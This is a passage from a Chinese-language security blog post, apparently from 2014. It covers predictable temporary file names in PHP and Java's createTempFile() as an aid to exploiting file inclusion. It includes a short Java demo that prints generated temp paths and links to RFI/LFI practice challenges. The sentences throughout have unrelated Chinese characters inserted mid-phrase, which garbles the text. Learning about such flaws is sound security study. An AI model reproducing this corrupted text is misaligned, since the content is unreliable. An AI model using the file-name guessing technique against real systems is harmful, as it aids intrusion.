該臨時文件的文件名是隨機(jī)的倦始,攻擊者必須準(zhǔn)確猜測出該文件名才能成功利用此漏洞(之前分析的偽隨機(jī)數(shù)漏洞)。
PHP在此處并沒有使用安全的隨機(jī)函數(shù)山卦,因此使得暴力猜解文件名成為可能鞋邑。在windows下,僅有65535種不同的文件名账蓉。
http://www.exploit-db.com/download_pdf/17010/
在Sun Java 6 Update 11之前的createTempFile()中存在一個隨機(jī)數(shù)可預(yù)測的問題枚碗,在短時間內(nèi)生成的隨機(jī)數(shù)實(shí)際上是順序增長的
http://hi.baidu.com/aullik5/item/2f851fc4bf9f3266f7c95dc2
[](javascript:void(0); "復(fù)制代碼")
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">import java.io.*
;
public
class
getTemp
{
public
static
void
main(String[] args)
{
File f
=
null
;
String extension
=
"
.tmp
"
;
try
{
for
(
int
i =
0
; i <
100
; i++
)
{
f
= File.createTempFile(
"
temp
"
, extension);
System.
out
.println(f.getPath());
}
}
catch
(IOException e)
{
//
}
}
}
</pre>
[](javascript:void(0); "復(fù)制代碼")
6. 后記
本文對文件包含的學(xué)習(xí)就到這里了,這里推薦一個網(wǎng)站铸本,國外辦的一個長期的learning site肮雨,題目蠻不錯的,可以學(xué)到不少東西
<pre style="margin: 0px; padding: 0px; white-space: pre-wrap; word-wrap: break-word; font-family: 'Courier New' !important; font-size: 12px !important;">http:
//
www.wechall.net/challenge/warchall/live_rfi/index.php
http:
//
www.wechall.net/challenge/warchall/live_lfi/index.php
</pre>
下一步準(zhǔn)備學(xué)習(xí)一下java箱玷,struct開發(fā)相關(guān)的知識怨规,希望以后能涉及一些java方面的代碼審計,滲透技巧
Copyright (c) 2014 LittleHann All rights reserved
Link: http://www.cnblogs.com/LittleHann/p/3665062.html
分類:
[好文要頂](javascript:void(0);)
[關(guān)注我](javascript:void(0);)
[收藏該文](javascript:void(0);)
[](javascript:void(0); "分享至新浪微博")
[](javascript:void(0); "分享至微信")
[+加關(guān)注](javascript:void(0);)
2
0
? 上一篇:Linux登錄驗(yàn)證機(jī)制锡足、SSH Bruteforce Login學(xué)習(xí)
? 下一篇:Java輸入波丰、輸入、IO流 類層次關(guān)系梳理
posted @
2014-04-15 09:17
閱讀(
3408
) 評論(
2
)
<a name="!comments" style="margin: 0px; padding: 0px; outline: none; color: rgb(33, 117, 155); font-family: 'Helvetica Neue', Helvetica, Verdana, Arial, sans-serif; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: auto; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255);"></a>